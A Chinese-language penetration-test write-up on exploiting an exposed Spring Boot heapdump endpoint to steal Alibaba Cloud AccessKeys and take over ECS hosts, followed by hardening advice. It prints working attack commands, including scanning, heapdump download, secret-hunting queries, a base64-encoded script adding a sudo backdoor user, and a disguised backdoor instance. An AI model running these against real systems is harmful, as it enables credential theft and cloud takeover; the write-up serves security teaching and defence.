1. 项目概述:一次由Heapdump文件引发的安全实战
最近在内部的一次渗透测试中,我遇到了一个非常典型的Spring Boot应用安全问题,最终通过一个泄露的Heapdump文件,成功获取了阿里云主机的控制权。整个过程就像一次精密的“外科手术”,从发现线索到最终接管,每一步都踩在了开发运维人员容易忽视的“雷区”上。Spring Boot的便利性众所周知,但随之而来的默认配置风险,尤其是Actuator端点的不当暴露,常常成为整个系统安全的“阿喀琉斯之踵”。这次实战的核心,就是围绕一个名为heapdump的端点展开的。
简单来说,Heapdump是Java虚拟机(JVM)在某一时刻的内存快照,它包含了当时所有存活对象的信息,例如运行中的线程栈、数据库连接池的密码、内存中的API密钥、甚至是硬编码在配置文件里的敏感信息。在Spring Boot Actuator中,/actuator/heapdump端点(在1.x版本中可能是/heapdump)如果被暴露在公网且未授权访问,攻击者就可以直接下载这个文件。拿到这个“内存镜像”后,利用专业的分析工具,我们就能像法医解剖一样,从中提取出足以致命的高权限凭证。这次我使用的就是业内知名的CF工具(这里指Eclipse Memory Analyzer,简称MAT,但社区和部分场景下也常被简称为CF工具,下文将统一使用MAT进行说明),结合阿里云AccessKey,最终实现了对云主机的接管。这个案例不仅适用于阿里云,对于任何使用云服务并存在类似配置问题的场景,都具有极高的警示和参考价值。
2. 漏洞原理与攻击链深度解析
2.1 Spring Boot Actuator与Heapdump端点
Spring Boot Actuator是一个用于监控和管理应用的生产就绪功能模块。它提供了一系列HTTP或JMX端点,让运维人员可以轻松查看应用健康状态、指标、日志和环境属性等。这本是一个强大的运维利器,但问题出在“默认”和“暴露”这两个词上。
在Spring Boot 1.x时代,许多Actuator端点默认是不需要认证就可以访问的。虽然从2.x开始,除了/health和/info之外的大多数端点默认已改为需要显式暴露,但开发者在配置文件中一个不经意的management.endpoints.web.exposure.include=*,或者直接沿用旧版本的配置习惯,就会导致所有端点(包括/actuator/heapdump)对外公开。
heapdump端点会触发JVM生成一个HPROF格式的堆转储文件,并通过HTTP响应流直接返回给请求者。这个文件可能非常大(几百MB到数GB),但它忠实地记录了那一刻JVM堆内存中的所有数据。对于攻击者而言,这无异于拿到了打开应用“保险柜”的X光片。
2.2 Heapdump文件中的“宝藏”:敏感信息驻留
为什么Heapdump如此危险?因为内存是应用运行时所有秘密的临时仓库。以下是一些几乎一定会出现在内存中,并能从Heapdump中提取的敏感信息类型:
- 数据库连接字符串与密码:应用池(如HikariCP、Druid)会在内存中维护数据库连接,连接字符串和密码以明文或解密后的形态存在。
- 第三方API密钥与令牌:调用阿里云OSS、短信服务、或其他外部API时,用于签名的AccessKey Secret、临时安全令牌(STS Token)都可能驻留在内存中。
- 应用配置属性:通过
@Value注解注入的配置、从配置中心拉取的配置,在应用使用时都会加载到内存。 - 会话信息与用户凭证:用户的登录Session、JWT Token等也可能被捕获。
- 硬编码的密钥:这是最危险的一种,开发者有时会将测试或内部使用的密钥直接写在代码里,这些字符串常量自然也在堆中。
攻击链非常清晰:暴露的Actuator端点 -> 下载Heapdump文件 -> 使用MAT等工具分析 -> 提取敏感字符串(尤其是云服务AK/SK)-> 利用凭证调用云API接管资源。
2.3 阿里云AccessKey的致命性
阿里云的AccessKey(由AccessKey ID和AccessKey Secret组成)是访问其所有API服务的“万能钥匙”。一旦泄露,攻击者几乎可以执行该密钥所授权限内的任何操作,包括但不限于:
- ECS(云服务器):查看、创建、重启、删除实例;执行命令;挂载磁盘。
- OSS(对象存储):列出、上传、下载、删除所有存储桶(Bucket)中的文件。
- RDS(数据库):获取数据库连接信息,甚至直接修改白名单。
- RAM(访问控制):如果密钥权限足够大,可以创建新的子用户或角色,实现权限持久化。
在本次实战中,我们从Heapdump里提取到的正是一对具有ECS管理权限的AccessKey。
3. 实战操作:从发现到下载Heapdump
3.1 目标发现与信息收集
实战的第一步永远是信息收集。我们假设目标域名为target-app.example.com。
目录与端点扫描:使用工具如
dirsearch、gobuster或ffuf,针对常见的Actuator路径进行扫描。# 示例使用ffuf ffuf -w /path/to/wordlists/spring-boot.txt -u https://target-app.example.com/FUZZspring-boot.txt词库应包含诸如/actuator,/actuator/env,/actuator/heapdump,/heapdump,/metrics等路径。验证端点暴露:直接浏览器访问或使用curl命令测试。
curl -I https://target-app.example.com/actuator curl https://target-app.example.com/actuator/heapdump -o /dev/null --head如果访问
/actuator返回了端点列表,并且其中包含heapdump的链接,那么成功了一半。直接访问/actuator/heapdump会开始下载一个文件,这通常就是heapdump。
注意:有些应用可能会将Actuator端点映射到自定义路径下,如
/manage/health。因此,信息收集阶段结合子域名枚举、历史快照(如SecurityTrails)以及JS文件分析,寻找可能的路径线索至关重要。
3.2 下载Heapdump文件
确认端点存在后,下载文件。由于文件可能很大,建议使用支持断点续传的工具,并注意网络稳定性。
# 使用wget下载 wget https://target-app.example.com/actuator/heapdump -O target_heapdump.hprof # 使用curl下载 curl -L https://target-app.example.com/actuator/heapdump -o target_heapdump.hprof下载完成后,使用file命令确认文件类型:
file target_heapdump.hprof # 应输出类似:Java heap dump, version 1.0实操心得:
- 网络与时间:下载数GB的文件可能耗时很长,且容易被目标监控发现异常流量。在真实授权测试中,需评估影响。
- 文件完整性:下载后,可以尝试用MAT工具打开一下,确保文件没有损坏。有时网络中断会导致文件不完整。
- 法律与授权:重中之重!所有操作必须在获得明确书面授权的范围内进行。未经授权访问、下载他人系统数据是违法行为。
4. 利用MAT工具深度挖掘敏感信息
4.1 Eclipse Memory Analyzer (MAT) 工具准备
MAT是分析HPROF文件最强大的工具之一。它可以从 Eclipse官网 下载。对于大型heapdump文件(>2GB),建议分配足够的内存给MAT。
- 启动配置:编辑MAT的启动配置文件
MemoryAnalyzer.ini,调整-Xmx参数。-startup ... -vmargs -Xmx8g # 根据你的物理内存和dump文件大小调整,建议至少为dump文件大小的1.5倍 ... - 打开Heapdump:启动MAT,选择
File -> Open Heap Dump...,加载下载的.hprof文件。MAT会先解析并生成索引,这个过程也可能很耗时。
4.2 关键分析技巧与查询
MAT解析完成后,会提供一个概览。我们的目标是寻找字符串形式的敏感信息。
使用OQL(对象查询语言):这是最精准的“搜宝”工具。点击工具栏的
OQL图标,打开查询窗口。- 搜索密码关键词:
可以扩展关键词,如SELECT * FROM java.lang.String s WHERE (s.toString().toLowerCase().LIKE(“%password%”))%secret%,%key%,%access%,%token%,%jdbc:%,%aliyun%,%oss%,%rds%等。 - 搜索特定格式的字符串:阿里云AccessKey ID通常以
LTAI等字符开头。SELECT * FROM java.lang.String s WHERE (s.toString().LIKE(“LTAI%”))
- 搜索密码关键词:
检查直方图与支配树:
- 在
Histogram视图中,按Retained Heap排序,查看占用内存最多的对象。有时包含大量数据的char[]或byte[]数组可能就是配置文件或日志内容。 - 右键点击可疑的
char[]对象,选择Path To GC Roots -> exclude weak/soft references,查看是什么对象持有它,可能追踪到一个包含配置的Properties或Map对象。
- 在
线程栈分析:在
Thread Overview中,查看所有线程的栈帧。有时在栈帧的局部变量表中,可以直接看到传入的敏感参数。
本次实战案例: 通过OQL查询%aliyun%,我们很快发现了一个java.util.Properties对象,其内容中包含:
alibaba.cloud.access-key=LTAI5txxxxxxxxxxxxx alibaba.cloud.secret-key=Wk1rYxxxxxxxxxxxxxxxxxxxxxxxxxxxx这正是一对完整的阿里云AccessKey。
注意事项:
- MAT的OQL查询对大型堆转储可能较慢,要有耐心。
- 提取出的字符串要仔细甄别,可能是测试环境的配置、已被轮换的旧密钥,或者是被部分掩码的。需要结合上下文判断其有效性。
- 除了MAT,轻量级的命令行工具如
jhat(已废弃)或grep结合strings命令也可以进行初步搜索,但MAT的图形化分析和对象关联能力无可替代。
5. 凭证利用与阿里云主机接管
5.1 验证AccessKey有效性
拿到疑似AK/SK后,第一步是验证其有效性和权限范围。阿里云命令行工具aliyun CLI是最佳选择。
安装与配置CLI:
# 安装 pip install aliyun-python-sdk-core aliyun-python-sdk-ecs # 安装核心库和ECS库 # 或者直接安装CLI工具(推荐) # 参考阿里云官方文档安装 aliyun CLI curl -O https://aliyuncli.alicdn.com/aliyun-cli-linux-latest-amd64.tgz tar xzvf aliyun-cli-linux-latest-amd64.tgz sudo cp aliyun /usr/local/bin # 快速配置(临时测试,不写入配置文件) export ALIBABA_CLOUD_ACCESS_KEY_ID=LTAI5txxxxxxxxxxxxx export ALIBABA_CLOUD_ACCESS_KEY_SECRET=Wk1rYxxxxxxxxxxxxxxxxxxxxxxxxxxxx export ALIBABA_CLOUD_REGION=cn-hangzhou # 设置一个默认区域执行测试命令:
# 查看当前AK所属的云账号ID,这是验证有效性的最直接方式 aliyun sts GetCallerIdentity # 尝试列出ECS实例,确认是否有ECS权限 aliyun ecs DescribeInstances --RegionId cn-hangzhou如果命令成功返回了账号ID或实例列表,恭喜,凭证有效且权限可观。
5.2 权限评估与信息收集
在尝试任何写操作前,先充分收集信息,了解环境。
# 1. 查看所有地域 aliyun ecs DescribeRegions # 2. 遍历主要地域,列出所有ECS实例、安全组、密钥对、镜像 for region in cn-hangzhou cn-beijing cn-shanghai cn-shenzhen; do echo “=== Region: $region ===” aliyun ecs DescribeInstances --RegionId $region aliyun ecs DescribeSecurityGroups --RegionId $region done # 3. 查看OSS Bucket列表(如果有OSS权限) aliyun oss ls5.3 主机接管实战:创建后门与执行命令
如果目标账号有足够的权限(如RAM用户被赋予了AliyunECSFullAccess策略),我们可以直接创建新的ECS实例或向现有实例注入后门。这里演示两种更隐蔽、更贴近实战的“接管”方式。
方式一:利用现有实例执行命令(需要已安装云助手Agent)
阿里云云助手(Cloud Assistant)可以在ECS实例中免密执行命令。前提是实例安装了Agent且AK有ecs:RunCommand权限。
创建命令内容:准备一个在目标机器上反弹Shell或添加用户的脚本。
# 例如,创建一个Linux后门用户 useradd -m -s /bin/bash backdoor echo “backdoor:$(openssl passwd -1 ‘YourStrongPasswordHere’)” | chpasswd -e usermod -aG sudo backdoor通过API执行:
aliyun ecs RunCommand \ --RegionId cn-hangzhou \ --InstanceId.1 i-xxxxxxx \ # 目标实例ID --Type RunShellScript \ --CommandContent “IyEvYmluL2Jhc2gKdXNlcmFkZCAtbSAtcyAvYmluL2Jhc2ggYmFja2Rvb3IKZWNobyAiYmFja2Rvb3I6JChvcGVuc3NsIHBhc3N3ZCAtMSAnWW91clN0cm9uZ1Bhc3N3b3JkSGVyZScpIiB8IGNoYXNzd2QgLWUKdXNlcm1vZCAtYUcgc3VkbyBiYWNrZG9vcgo=” # 上面脚本的Base64编码
方式二:创建高权限后门实例(更彻底)
如果权限足够,可以直接创建一台新的、由我们完全控制的ECS实例,并将其放入目标VPC,从而访问内网资源。
- 准备启动模板:需要知道目标VPC ID、交换机ID、安全组ID。这些信息可以通过之前的
DescribeInstances和DescribeSecurityGroups获得。 - 调用创建实例API:
创建成功后,使用自己的私钥即可SSH登录这台位于目标内网的新主机,进行横向移动。aliyun ecs RunInstances \ --RegionId cn-hangzhou \ --ImageId centos_7_9_x64_20G_alibase_20230718.vhd \ --InstanceType ecs.g6.large \ --SecurityGroupId sg-xxxxxxx \ --VSwitchId vsw-xxxxxxx \ --InternetMaxBandwidthOut 5 \ --KeyPairName my-backdoor-key \ # 使用自己的密钥对,确保唯一控制权 --Tag.1.Key=Name \ --Tag.1.Value=Dev-Backend-Svc # 打上看似合法的标签,避免引起怀疑
核心避坑技巧:
- 操作前检查权限:务必使用
aliyun sts GetCallerIdentity和查看RAM权限,明确AK的权限边界,避免触发“权限不足”的告警日志。- 区域(Region)是关键:所有资源操作都必须指定正确的RegionId。一个AK可能只在某个区域有权限。
- 利用标签(Tag)伪装:给创建的资源打上与环境相符的标签(如
Department=Dev,Env=Test),降低在资源列表中显眼的程度。- 清理痕迹:在授权测试结束后,务必删除或停止所有由你创建的资源。使用
--dry-run参数(如果支持)预先测试命令也是好习惯。
6. 防御加固与安全建议
攻击的终点就是防御的起点。作为开发、运维或安全人员,必须从源头杜绝此类风险。
6.1 Spring Boot应用层加固
严格管理Actuator端点暴露:
- 生产环境绝对禁止:
management.endpoints.web.exposure.include=* - 最小化暴露:只暴露必要的端点,如
health,info。management: endpoints: web: exposure: include: health,info,metrics,prometheus # 按需添加 endpoint: health: show-details: when_authorized # 健康详情也需要授权 - 禁用高危端点:明确排除
heapdump,env,configprops等。management: endpoints: web: exposure: exclude: heapdump,env,configprops,httptrace
- 生产环境绝对禁止:
启用并配置强认证:
- 将Actuator端点纳入统一的安全框架(如Spring Security)。
- 为Actuator配置独立的HTTP基本认证或整合到现有的OAuth2/JWT流程中。
- 示例(Spring Security):
@Configuration @EnableWebSecurity public class ActuatorSecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http .antMatcher(“/actuator/**”) .authorizeRequests() .anyRequest().hasRole(“ACTUATOR_ADMIN”) .and() .httpBasic(); // 使用HTTP Basic认证 } }
网络层隔离:
- 通过安全组、防火墙或Kubernetes NetworkPolicy,将Actuator端点的访问限制在特定的管理IP段或内网环境,绝不暴露在公网。
- 使用不同的端口(如
management.server.port=8081)在内网监听管理端点。
6.2 阿里云资源与凭证安全管理
遵循最小权限原则:
- 为应用程序创建独立的RAM用户,而非直接使用主账号AK。
- 为RAM用户授予精确的、最小化的权限策略。例如,一个只写OSS的应用,就只给
PutObject权限,而不是AliyunOSSFullAccess。 - 定期审计权限:使用RAM控制台的权限分析功能,检查是否有过度授权的策略。
使用临时安全凭证(STS):
- 对于前端直传OSS等场景,使用STS服务颁发临时凭证(有效期通常几小时),避免长期AK泄露的风险。
- 后端应用通过扮演RAM角色来获取临时凭证,动态下发。
保护内存中的秘密:
- 避免硬编码:使用阿里云Secrets Manager或自建的Vault等秘密管理服务,动态获取凭证。
- 及时清理:在使用完敏感信息(如从数据库读取密码后)后,尽快在内存中显式地清除(例如,将
char[]数组填充为0)。 - 考虑使用内存安全语言或安全库:对于极度敏感的数据,可探索相关方案,但这通常成本较高。
启用云监控与审计:
- 确保开通并检查ActionTrail(操作审计)服务,记录所有API调用,设置关键操作(如
RunInstances,CreateAccessKey)的告警。 - 在CloudMonitor中设置异常流量告警,例如短时间内从公网大量下载
heapdump文件。
- 确保开通并检查ActionTrail(操作审计)服务,记录所有API调用,设置关键操作(如
6.3 应急响应与排查清单
如果怀疑发生了Heapdump泄露或AK滥用,应立即:
- 立即吊销泄露的AK:在RAM控制台禁用或删除对应的AccessKey。
- 审查ActionTrail日志:定位攻击时间、源IP和具体操作。
- 检查资源变更:重点查看在攻击时间段内新建的ECS、OSS Bucket、RAM用户/角色等。
- 排查涉事应用:找出暴露Actuator端点的应用,立即下线或修复配置,并检查是否有其他同类问题。
- 轮换所有相关凭证:包括数据库密码、其他服务的API密钥等,假设攻击者已获取了内存中的所有信息。
这次从Heapdump到云主机接管的实战,清晰地展示了一条由配置疏忽导致的深度入侵路径。它再次印证了安全领域的一句老话:“往往不是堡垒的城墙不够高,而是有人忘记关后门。” 对于开发者和运维而言,将安全左移,在设计和部署阶段就严格管控配置与权限,远比事后应急来得有效。而对于安全从业者,理解这些漏洞的完整利用链,能帮助我们更好地设计防御策略和检测规则。在云原生时代,一个微小的配置项,可能就决定了整个基础设施的安危。